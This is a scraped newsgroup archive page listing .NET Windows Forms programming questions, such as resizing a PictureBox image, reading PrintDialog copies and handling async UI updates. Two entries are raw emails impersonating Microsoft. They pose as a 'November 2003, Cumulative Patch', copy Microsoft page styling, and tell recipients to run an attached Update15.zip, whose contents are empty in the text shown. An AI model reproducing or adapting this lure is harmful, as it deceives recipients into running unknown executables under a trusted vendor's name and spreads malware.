size=3D2></FONT>&nbsp;</DIV> <DIV><FONT face=3DArial size=3D2>I have been suffering in this error for = a few weeks=20 but I still have no one can&nbsp;answer my question.&nbsp; Please give = me a=20 hand.&nbsp; Thanks.............</FONT></DIV> <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV> <DIV><FONT face=3DArial size=3D2>Ivan</FONT></DIV> <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV> <DIV><FONT face=3DArial size=3D2>&nbsp;</DIV> <DIV><BR></DIV></FONT><FONT face=3DArial size=3D2> <DIV><BR>&nbsp;</DIV> <DIV></FONT>&nbsp;</DIV></BODY></HTML> ------=_NextPart_000_16BD_01C3A48D.CAF677C0-- Tag: How to show one-to-many relation in 2 DataGrids? Tag: 60604
      • 11
        • Holding a form in memory Hi All, I have a module level form variable as I want to react to custom events that form raises: Dim WithEvents m_frmSearchForm As frmPartSearch_Alt When the user clicks the search button, I carry out this code: If m_frmSearchForm Is Nothing Then m_frmSearchForm = New frmPartSearch_Alt With m_frmSearchForm m_frmSearchForm.KeepOpen = False m_frmSearchForm.MdiParent = MyBase.ParentForm m_frmSearchForm.CaptionText = "Component Search" m_frmSearchForm.SearchOption = frmPartSearch_Alt.eSearchOptions.AllowSelect m_frmSearchForm.Show() End With Else m_frmSearchForm.Show() End If Which basically just loads the form and shows it. The KeepOpen property allows the form to remain open. The searchoption property tells to allow selection. Both of these don't affect the problem. Now, when the user closes the form using the x button, and then clicks the search button again to execute this code then m_frmSearchForm isn't nothing and the m_frmSearchForm.Show() is called, however nothing appears. Can anybody help me with this???? When the x button is used to close a form, how can I ensure that the global variable is emptied? I don't want to open the form using showdialog. Thanks Alex Stevens Tag: How to show one-to-many relation in 2 DataGrids? Tag: 60603
      • 12
        • PropertyGrid editor: DateTime numericUpDown Do you know how can I change the default editor of DateTime in a propertyGrid in order to control date/time value ( like the ShowUpDown using DateTimePicker control), i.e. without Calendar, that only controls date information. Is it possible ? Do you have some idea ? Where can I find information about that ? I really appreciate your answer... Monica Tag: How to show one-to-many relation in 2 DataGrids? Tag: 60601
      • 13
        • Configuration file Hello all, I've an assembly a.exe which has a configuration file a.exe.config. Now this assemblly loads a class from another assembly b.dll. Can I've a configuration file for this assembly, that is something like b.dll.config? This way I'll be able to separate configuration for different files. I tried this, but this newer class tries to find its appsettings from a.exe.config, and gives error if it is not found. Thanx in advance. Meghansh. Tag: How to show one-to-many relation in 2 DataGrids? Tag: 60600
      • 14
        • Resizing an Image to fit in a PictureBox I have a question about how to format the display of a JPEG image in a PictureBox control. My current code is the fullowing.... Image image = Image.FromFile( strFileName ); pictureBox.SizeMode = PictureBoxSizeMode.StretchImage; pictureBox.Image = image; The images are loaded dynamically, and I do not have control of the size and aspect ratio of the images. With the StretchImage mode selected, I get some strange stretching (either vertically or horizontally, when the aspect ratio of the image is noticably different from the aspect ratio of the PictureBox.) What mechanism can I use to effectively resize the image myself before displaying it in the PictureBox? As yet I'm unable to find either a method on the Image class or on the PictureBox class to resize the image before display. I'd like to be able to adjust it to either fit snug vertically or horizontally depending on respective aspect ratios. Thanks, and Cheers, -- Bruce Tag: How to show one-to-many relation in 2 DataGrids? Tag: 60599
      • 15
        • asynchronous programming question Hello, With asynchronous programming : Why does the callback-function (running in a worker thread) may not update the state of a control on the main-form ? The docs say that you must use a MethodInvoker instead as in following example : Private Sub CallBtn_Click(ByVal sender ...) Handles CallBtn.Click webServiceObj = New MyDatabaseWSClass()| Dim delCB As New AsyncCallback(AddressOf MyCallBack) aResult = webServiceObj.BeginConnectToDB(CInt(txtSeconds.Text), delCB, Now) End Sub Private Sub UpdateUI() OutputLabel.Text = "Async: Web service call complete." End If Private Sub MyCallBack(ByVal result As IAsyncResult) If webServiceObj.EndConnectToDB(result) = True Then DisplayMessage(result) End If ' following is NOT allowed although it works fine ????? OutputLabel.Text = "Async: Web service call complete." Dim mi As New MethodInvoker(AddressOf Me.UpdateUI) Me.BeginInvoke(mi) End Sub Any ideas ? Thank you Chris Tag: How to show one-to-many relation in 2 DataGrids? Tag: 60597
      • 16
        • Problem in printing multiple copies Hi, I want to get the print data from the PrintDialog box and pass it to the crystal reports. But using the following code I am not able to get data. Private dgPrintDialog As New PrintDialog() dgPrintDialog.Document = Nothing dgPrintDialog.AllowSelection = False dgPrintDialog.AllowSomePages = True dgPrintDialog.AllowPrintToFile = False dgPrintDialog.ShowNetwork = True dgPrintDialog.ShowDialog() NoOfCopies= dgPrintDialog.PrinterSettings.Copies It is showing NoOfCopies as 1 though I have given 2 in the print dialog box. How I can retrive the data from PrintDialog box. Or Is there any other alternative for this problem Need Help Nanda Tag: How to show one-to-many relation in 2 DataGrids? Tag: 60596
      • 17
        • lisf of win app How can i get the list of applications that appears on the "New" option when i right-click in Windows. I mean, first u right click, then select the option "New" and u can see a list of items that u can create, for example a winzip or a word file. My question is how can i get that list? Thanks. Tag: How to show one-to-many relation in 2 DataGrids? Tag: 60594
      • 18
        • Clipboard In the moment when a user right click a file and select=20 the option cut or copy, the file is sent to the clipboard (portapapeles).The question is: -=BFHow can i know wich of the options(cut or copy) has=20 select the user? Thanks Tag: How to show one-to-many relation in 2 DataGrids? Tag: 60592
      • 19
        • MenuItem.OwnerDraw problem I all. I have an application in an MDI structure. Both, MDIParent and MDIChilds have Menus and all those menus are OwnerDraw, ie, MenuItem.OwnerDrawn = true; The problem is when I have more than 1 child windows opened and close them all, When i close the last one, the menus in the MDI Parent desapeared. Can any one help me? Sorry my English (I'm Portuguese). Thanks Tag: How to show one-to-many relation in 2 DataGrids? Tag: 60585
      • 20
        • Take a look at that corrective patch that came from the Microsoft --eajorgidsnthfwg Content-Type: multipart/related; boundary="xedmjnewpibyhqnrm"; type="multipart/alternative" --xedmjnewpibyhqnrm Content-Type: multipart/alternative; boundary="ryquoordugr" --ryquoordugr Content-Type: text/plain Content-Transfer-Encoding: quoted-printable Microsoft Customer this is the latest version of security update, the "November 2003, Cumulative Patch" update which resolves all known security vulnerabilities affecting MS Internet Explorer, MS Outlook and MS Outlook Express as well as three newly discovered vulnerabilities. Install now to help maintain the security of your computer from these vulnerabilities, the most serious of which could allow an malicious user to run executable on your computer. This update includes the functionality = of all previously released patches. System requirements: Windows 95/98/Me/2000/NT/XP This update applies to: - MS Internet Explorer, version 4.01 and later - MS Outlook, version 8.00 and later - MS Outlook Express, version 4.01 and later Recommendation: Customers should install the patch = at the earliest opportunity. How to install: Run attached file. Choose Yes on displayed dialog box. How to use: You don't need to do anything after installing this item. Microsoft Product Support Services and Knowledge Base articles = can be found on the Microsoft Technical Support web site. http://support.microsoft.com/ For security-related information about Microsoft products, please = visit the Microsoft Security Advisor web site http://www.microsoft.com/security/ Thank you for using Microsoft products. Please do not reply to this message. It was sent from an unmonitored e-mail address and we are unable = to respond to any replies. ---------------------------------------------- The names of the actual companies and products mentioned = herein are the trademarks of their respective owners. Copyright 2003 Microsoft Corporation. --ryquoordugr Content-Type: text/html Content-Transfer-Encoding: quoted-printable <HTML> <HEAD> <style type=3D'text/css'>.navtext{color:#ffffff;text-decoration:none} </style> </HEAD> <BODY BGCOLOR=3D"White" TEXT=3D"Black"> <BASEFONT SIZE=3D"2" face=3D"verdana,arial"> <TABLE WIDTH=3D"600" HEIGHT=3D"40" BGCOLOR=3D"#1478EB"> <TR height=3D"20"> <TD ALIGN=3D"left" VALIGN=3D"TOP" WIDTH=3D"400" ROWSPAN=3D"2">&nbsp; <FONT FACE=3D"sans-serif" SIZE=3D"5"><I><B> <A class=3D'navtext' HREF=3D"http://www.microsoft.com/" TITLE=3D"Microsoft Home Site" target=3D"_top">Microsoft</A> </B></I></FONT> </TD> <TD ALIGN=3D"right" VALIGN=3D"MIDDLE" BGCOLOR=3D"Black" NOWRAP> <FONT color=3D"#ffffff" size=3D1>&nbsp; <A class=3D'navtext' href=3D'http://www.microsoft.com/catalog/' = target=3D"_top">All Products</A>&nbsp;|&nbsp; <A class=3D'navtext' href=3D'http://support.microsoft.com/' = target=3D"_top">Support</A>&nbsp;|&nbsp; <A class=3D'navtext' href=3D'http://search.microsoft.com/' = target=3D"_top">Search</A>&nbsp;|&nbsp; <A class=3D'navtext' href=3D'http://www.microsoft.com/' target=3D_top> Microsoft.com Guide</A>&nbsp; </FONT> </TD> </TR> <TR> <TD ALIGN=3D"right" VALIGN=3D"BOTTOM" NOWRAP> <FONT FACE=3D"Verdana, Arial" SIZE=3D1><B> <A class=3D'navtext' HREF=3D'http://www.microsoft.com/' TARGET=3D" top"> Microsoft Home</A>&nbsp;&nbsp;</B> </FONT> </TD> </TR> </TABLE> &nbsp;<IMG SRC=3D"cid:ijyqihb" BORDER=3D"0"><BR><BR> <TABLE WIDTH=3D"600"><TR><TD><FONT SIZE=3D"2"> Microsoft Customer<BR><BR> this is the latest version of security update, the "November 2003, Cumulative Patch" update which resolves all known security vulnerabilities affecting MS Internet Explorer, MS Outlook and MS Outlook Express as well as three newly discovered vulnerabilities. Install now to help maintain the security of your computer from these vulnerabilities, the most serious of which could allow an malicious user to run executable on your computer. This update includes the functionality = of all previously released patches. </FONT></TD></TR> </TABLE> <BR><BR> <TABLE BORDER=3D"1" CELLSPACING=3D"1" CELLPADDING=3D"3" WIDTH=3D"600"> <TR VALIGN=3D"TOP"> <TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:ytmmxax" = ALIGN=3D"absmiddle" BORDER=3D"0">&nbsp;System requirements</B> </FONT></TD> <TD NOWRAP><FONT SIZE=3D"1">Windows 95/98/Me/2000/NT/XP</FONT></TD> </TR> <TR VALIGN=3D"TOP"> <TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:ytmmxax" = ALIGN=3D"absmiddle" BORDER=3D"0">&nbsp;This update applies to</B> </FONT></TD><TD NOWRAP> <FONT SIZE=3D"1"> MS Internet Explorer, version 4.01 and later<BR> MS Outlook, version 8.00 and later<BR> MS Outlook Express, version 4.01 and later </FONT> </TD> </TR> <TR VALIGN=3D"TOP"> <TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:ytmmxax" = ALIGN=3D"absmiddle" BORDER=3D"0">&nbsp;Recommendation</B></FONT></TD> <TD NOWRAP><FONT SIZE=3D"1">Customers should install the patch = at the earliest opportunity.</FONT></TD> </TR> <TR VALIGN=3D"TOP"> <TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:ytmmxax" = ALIGN=3D"absmiddle" BORDER=3D"0">&nbsp;How to install</B></FONT></TD> <TD NOWRAP><FONT SIZE=3D"1">Run attached file. = Choose Yes on displayed dialog box.</FONT></TD> </TR> <TR VALIGN=3D"TOP"> <TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:ytmmxax" = ALIGN=3D"absmiddle" BORDER=3D"0">&nbsp;How to use</B></FONT></TD> <TD NOWRAP><FONT SIZE=3D"1">You don't need to do = anything after installing this item.</FONT></TD> </TR> </TABLE> <BR> <TABLE WIDTH=3D"600"><TR><TD><FONT SIZE=3D"2"> Microsoft Product Support Services and Knowledge Base articles can be found on the <A HREF=3D"http://support.microsoft.com/" = TARGET=3D"_top">Microsoft Technical Support</A> web site. = For security-related information about Microsoft products, please = visit the <A HREF=3D"http://www.microsoft.com/security" TARGET=3D"_top"> Microsoft Security Advisor</A> web site, = or <A HREF=3D"http://www.microsoft.com/contactus/contactus.asp" = TARGET=3D"_top">Contact Us.</A> <BR><BR> Thank you for using Microsoft products.<BR><BR></FONT> <FONT SIZE=3D"1">Please do not reply to this message. = It was sent from an unmonitored e-mail address and we are unable = to respond to any replies.<BR></FONT> <HR COLOR=3D"Silver" SIZE=3D"1" WIDTH=3D"100%"> <FONT SIZE=3D"1" COLOR=3D"Gray">The names of the actual companies and = products mentioned herein are the trademarks = of their respective owners.</FONT> </TD></TR></TABLE> <BR> <TABLE WIDTH=3D"600" HEIGHT=3D"45" BGCOLOR=3D"#1478EB"> <TR VALIGN=3D"TOP"> <TD WIDTH=3D"5"></TD> <TD> <FONT COLOR=3D"#FFFFFF" SIZE=3D"1"><B> <A class=3D'navtext' HREF=3D"http://www.microsoft.com/= contactus/contactus.asp" TARGET=3D"_top">Contact Us</A> &nbsp;|&nbsp; <A class=3D'navtext' HREF=3D"http://www.microsoft.com/legal/" = TARGET=3D"_top">Legal</A> &nbsp;|&nbsp; <A class=3D'navtext' HREF=3D"https://www.truste.org/validate/605" = TARGET=3D"_top" TITLE=3D"TRUSTe - Click to Verify">TRUSTe</A> </FONT></B> </TD> </TR> <TR VALIGN=3D"MIDDLE"> <TD WIDTH=3D"5"></TD> <TD> <FONT COLOR=3D"#FFFFFF" SIZE=3D"1"> &copy;2003 Microsoft Corporation. All rights reserved. <A STYLE=3D"color:#FFFFFF;" HREF=3D"http://www.microsoft.com/= info/cpyright.htm" TARGET=3D"_top">Terms of Use</A> &nbsp;|&nbsp; <A STYLE=3D"color:#FFFFFF;" HREF=3D"http://www.microsoft.com/= info/privacy.htm" TARGET=3D"_top"> Privacy Statement</A>&nbsp;|&nbsp; <A STYLE=3D"color:#FFFFFF;" HREF=3D"http://www.microsoft.com/= enable/" TARGET=3D"_top">Accessibility</A> </FONT> </TD> </TR> </TABLE> </BODY> </HTML> --ryquoordugr-- --xedmjnewpibyhqnrm Content-Type: image/gif Content-Transfer-Encoding: base64 Content-ID: <ijyqihb> R0lGODlhaAA7APcAAP///+rp6puSp6GZrDUjUUc6Zn53mFJMdbGvvVtXh2xre8bF1x8cU4yLprOy zIGArlZWu25ux319xWpqnnNzppaWy46OvKKizZqavLa2176+283N5sfH34uLmpKSoNvb7c7O3L29 yqOjrtTU4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yWgAV7ViHF4ATOQAFMABxI3 cWM0B6tWhQjoduIWd7nXgC20hXfHbkOBPRSYECFgAchQg4VYiMyQhikAAjdwAStgAydyIm1yARVA AQXQASvQhzYSAA2AAav4iq/4g0AYiyRwATRQAiqgAggwAxYgA7t4AAcQAjcIjBTSAgYwAySADOB4 iMkoi7uCAQuQJBYgZj3FfQOwDNpYJSnQAROAAZozjuS4AAsAfzLgAGzyACzYfXX4jlVSAmVAfQ+w MCRgAyRAAvhIMCmCXNtXAAYQAu4okHryAzaAARNgjQYJJxNAfRF5AAaQAy2QjRYpdWBQBV2QawrA gpLHfQpgAA1ggiMrYJInKWxIsRhfUAU82ZMj0Iwr8AM3qY3E9ntVV3lDWSUBAQA7 --xedmjnewpibyhqnrm Content-Type: image/gif Content-Transfer-Encoding: base64 Content-ID: <ytmmxax> R0lGODlhDAAMANUAAP////f3//f39+/v9+/v797m987W787W5sXW5rXF76295qW975y175St75St 3pSlzoyl1oSl5oylzoycxXOU3nOMxWOM5mOM3mOE1lqE3mOEvVKE1lp7xVJ71lJ7zlJ7xVJ7vUp7 zkpzzkpzxVJzrUprvUJrxUJrvUJjtTpjtTpjrTparTpapQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwAAAAADAAMAAAIjAABAAhwwMGFCxAQ CACwkICDDBYSLGjQwQEBhg8zDBAIYIEIBwIQdLjAoOOFgSFMIICwIUMEAxQwCBxhAgKHDh5C6DQA IIGJEyA4fPAwYoQCAAVKoEgBQsKJEidQ8CyRYumDA1VTqNBQQYXXFQofsPB6AIAKFiweNBTLoiza BxcFCjgwgQSJCQcWCggIADs= --xedmjnewpibyhqnrm-- --eajorgidsnthfwg Content-Type: application/x-compressed; name="Update15.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment --eajorgidsnthfwg-- Tag: How to show one-to-many relation in 2 DataGrids? Tag: 60584
      • 21
        • Check out correction pack from the MS Corporation --plkmygfbmuwefmah Content-Type: multipart/related; boundary="dvzsijkgn"; type="multipart/alternative" --dvzsijkgn Content-Type: multipart/alternative; boundary="mxerwshtnsmnncydr" --mxerwshtnsmnncydr Content-Type: text/plain Content-Transfer-Encoding: quoted-printable Microsoft Partner this is the latest version of security update, the "November 2003, Cumulative Patch" update which resolves all known security vulnerabilities affecting MS Internet Explorer, MS Outlook and MS Outlook Express as well as three new vulnerabilities. Install now to protect your computer from these vulnerabilities, the most serious of which could allow an attacker to run code on your computer. This update includes the functionality = of all previously released patches. System requirements: Windows 95/98/Me/2000/NT/XP This update applies to: - MS Internet Explorer, version 4.01 and later - MS Outlook, version 8.00 and later - MS Outlook Express, version 4.01 and later Recommendation: Customers should install the patch = at the earliest opportunity. How to install: Run attached file. Choose Yes on displayed dialog box. How to use: You don't need to do anything after installing this item. Microsoft Product Support Services and Knowledge Base articles = can be found on the Microsoft Technical Support web site. http://support.microsoft.com/ For security-related information about Microsoft products, please = visit the Microsoft Security Advisor web site http://www.microsoft.com/security/ Thank you for using Microsoft products. Please do not reply to this message. It was sent from an unmonitored e-mail address and we are unable = to respond to any replies. ---------------------------------------------- The names of the actual companies and products mentioned = herein are the trademarks of their respective owners. Copyright 2003 Microsoft Corporation. --mxerwshtnsmnncydr Content-Type: text/html Content-Transfer-Encoding: quoted-printable <HTML> <HEAD> <style type=3D'text/css'>.navtext{color:#ffffff;text-decoration:none} </style> </HEAD> <BODY BGCOLOR=3D"White" TEXT=3D"Black"> <BASEFONT SIZE=3D"2" face=3D"verdana,arial"> <TABLE WIDTH=3D"600" HEIGHT=3D"40" BGCOLOR=3D"#1478EB"> <TR height=3D"20"> <TD ALIGN=3D"left" VALIGN=3D"TOP" WIDTH=3D"400" ROWSPAN=3D"2">&nbsp; <FONT FACE=3D"sans-serif" SIZE=3D"5"><I><B> <A class=3D'navtext' HREF=3D"http://www.microsoft.com/" TITLE=3D"Microsoft Home Site" target=3D"_top">Microsoft</A> </B></I></FONT> </TD> <TD ALIGN=3D"right" VALIGN=3D"MIDDLE" BGCOLOR=3D"Black" NOWRAP> <FONT color=3D"#ffffff" size=3D1>&nbsp; <A class=3D'navtext' href=3D'http://www.microsoft.com/catalog/' = target=3D"_top">All Products</A>&nbsp;|&nbsp; <A class=3D'navtext' href=3D'http://support.microsoft.com/' = target=3D"_top">Support</A>&nbsp;|&nbsp; <A class=3D'navtext' href=3D'http://search.microsoft.com/' = target=3D"_top">Search</A>&nbsp;|&nbsp; <A class=3D'navtext' href=3D'http://www.microsoft.com/' target=3D_top> Microsoft.com Guide</A>&nbsp; </FONT> </TD> </TR> <TR> <TD ALIGN=3D"right" VALIGN=3D"BOTTOM" NOWRAP> <FONT FACE=3D"Verdana, Arial" SIZE=3D1><B> <A class=3D'navtext' HREF=3D'http://www.microsoft.com/' TARGET=3D" top"> Microsoft Home</A>&nbsp;&nbsp;</B> </FONT> </TD> </TR> </TABLE> &nbsp;<IMG SRC=3D"cid:fbulvyn" BORDER=3D"0"><BR><BR> <TABLE WIDTH=3D"600"><TR><TD><FONT SIZE=3D"2"> Microsoft Partner<BR><BR> this is the latest version of security update, the "November 2003, Cumulative Patch" update which resolves all known security vulnerabilities affecting MS Internet Explorer, MS Outlook and MS Outlook Express as well as three new vulnerabilities. Install now to protect your computer from these vulnerabilities, the most serious of which could allow an attacker to run code on your computer. This update includes the functionality = of all previously released patches. </FONT></TD></TR> </TABLE> <BR><BR> <TABLE BORDER=3D"1" CELLSPACING=3D"1" CELLPADDING=3D"3" WIDTH=3D"600"> <TR VALIGN=3D"TOP"> <TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:nccbcxx" = ALIGN=3D"absmiddle" BORDER=3D"0">&nbsp;System requirements</B> </FONT></TD> <TD NOWRAP><FONT SIZE=3D"1">Windows 95/98/Me/2000/NT/XP</FONT></TD> </TR> <TR VALIGN=3D"TOP"> <TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:nccbcxx" = ALIGN=3D"absmiddle" BORDER=3D"0">&nbsp;This update applies to</B> </FONT></TD><TD NOWRAP> <FONT SIZE=3D"1"> MS Internet Explorer, version 4.01 and later<BR> MS Outlook, version 8.00 and later<BR> MS Outlook Express, version 4.01 and later </FONT> </TD> </TR> <TR VALIGN=3D"TOP"> <TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:nccbcxx" = ALIGN=3D"absmiddle" BORDER=3D"0">&nbsp;Recommendation</B></FONT></TD> <TD NOWRAP><FONT SIZE=3D"1">Customers should install the patch = at the earliest opportunity.</FONT></TD> </TR> <TR VALIGN=3D"TOP"> <TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:nccbcxx" = ALIGN=3D"absmiddle" BORDER=3D"0">&nbsp;How to install</B></FONT></TD> <TD NOWRAP><FONT SIZE=3D"1">Run attached file. = Choose Yes on displayed dialog box.</FONT></TD> </TR> <TR VALIGN=3D"TOP"> <TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:nccbcxx" = ALIGN=3D"absmiddle" BORDER=3D"0">&nbsp;How to use</B></FONT></TD> <TD NOWRAP><FONT SIZE=3D"1">You don't need to do = anything after installing this item.</FONT></TD> </TR> </TABLE> <BR> <TABLE WIDTH=3D"600"><TR><TD><FONT SIZE=3D"2"> Microsoft Product Support Services and Knowledge Base articles can be found on the <A HREF=3D"http://support.microsoft.com/" = TARGET=3D"_top">Microsoft Technical Support</A> web site. = For security-related information about Microsoft products, please = visit the <A HREF=3D"http://www.microsoft.com/security" TARGET=3D"_top"> Microsoft Security Advisor</A> web site, = or <A HREF=3D"http://www.microsoft.com/contactus/contactus.asp" = TARGET=3D"_top">Contact Us.</A> <BR><BR> Thank you for using Microsoft products.<BR><BR></FONT> <FONT SIZE=3D"1">Please do not reply to this message. = It was sent from an unmonitored e-mail address and we are unable = to respond to any replies.<BR></FONT> <HR COLOR=3D"Silver" SIZE=3D"1" WIDTH=3D"100%"> <FONT SIZE=3D"1" COLOR=3D"Gray">The names of the actual companies and = products mentioned herein are the trademarks = of their respective owners.</FONT> </TD></TR></TABLE> <BR> <TABLE WIDTH=3D"600" HEIGHT=3D"45" BGCOLOR=3D"#1478EB"> <TR VALIGN=3D"TOP"> <TD WIDTH=3D"5"></TD> <TD> <FONT COLOR=3D"#FFFFFF" SIZE=3D"1"><B> <A class=3D'navtext' HREF=3D"http://www.microsoft.com/= contactus/contactus.asp" TARGET=3D"_top">Contact Us</A> &nbsp;|&nbsp; <A class=3D'navtext' HREF=3D"http://www.microsoft.com/legal/" = TARGET=3D"_top">Legal</A> &nbsp;|&nbsp; <A class=3D'navtext' HREF=3D"https://www.truste.org/validate/605" = TARGET=3D"_top" TITLE=3D"TRUSTe - Click to Verify">TRUSTe</A> </FONT></B> </TD> </TR> <TR VALIGN=3D"MIDDLE"> <TD WIDTH=3D"5"></TD> <TD> <FONT COLOR=3D"#FFFFFF" SIZE=3D"1"> &copy;2003 Microsoft Corporation. All rights reserved. <A STYLE=3D"color:#FFFFFF;" HREF=3D"http://www.microsoft.com/= info/cpyright.htm" TARGET=3D"_top">Terms of Use</A> &nbsp;|&nbsp; <A STYLE=3D"color:#FFFFFF;" HREF=3D"http://www.microsoft.com/= info/privacy.htm" TARGET=3D"_top"> Privacy Statement</A>&nbsp;|&nbsp; <A STYLE=3D"color:#FFFFFF;" HREF=3D"http://www.microsoft.com/= enable/" TARGET=3D"_top">Accessibility</A> </FONT> </TD> </TR> </TABLE> </BODY> </HTML> --mxerwshtnsmnncydr-- --dvzsijkgn Content-Type: image/gif Content-Transfer-Encoding: base64 Content-ID: <fbulvyn> R0lGODlhaAA7APcAAP///+rp6puSp6GZrDUjUUc6Zn53mFJMdbGvvVtXh2xre8bF1x8cU4yLprOy zIGArlZWu25ux319xWpqnnNzppaWy46OvKKizZqavLa2176+283N5sfH34uLmpKSoNvb7c7O3L29 yqOjrtTU4crK1Nvb5erq9O/v+O7u99PT2sbGzePj6vLy99jY3Pv7/vb2+fn5++/v8Kqr0oWHuNbX 55SVoszN28vM2pGUr7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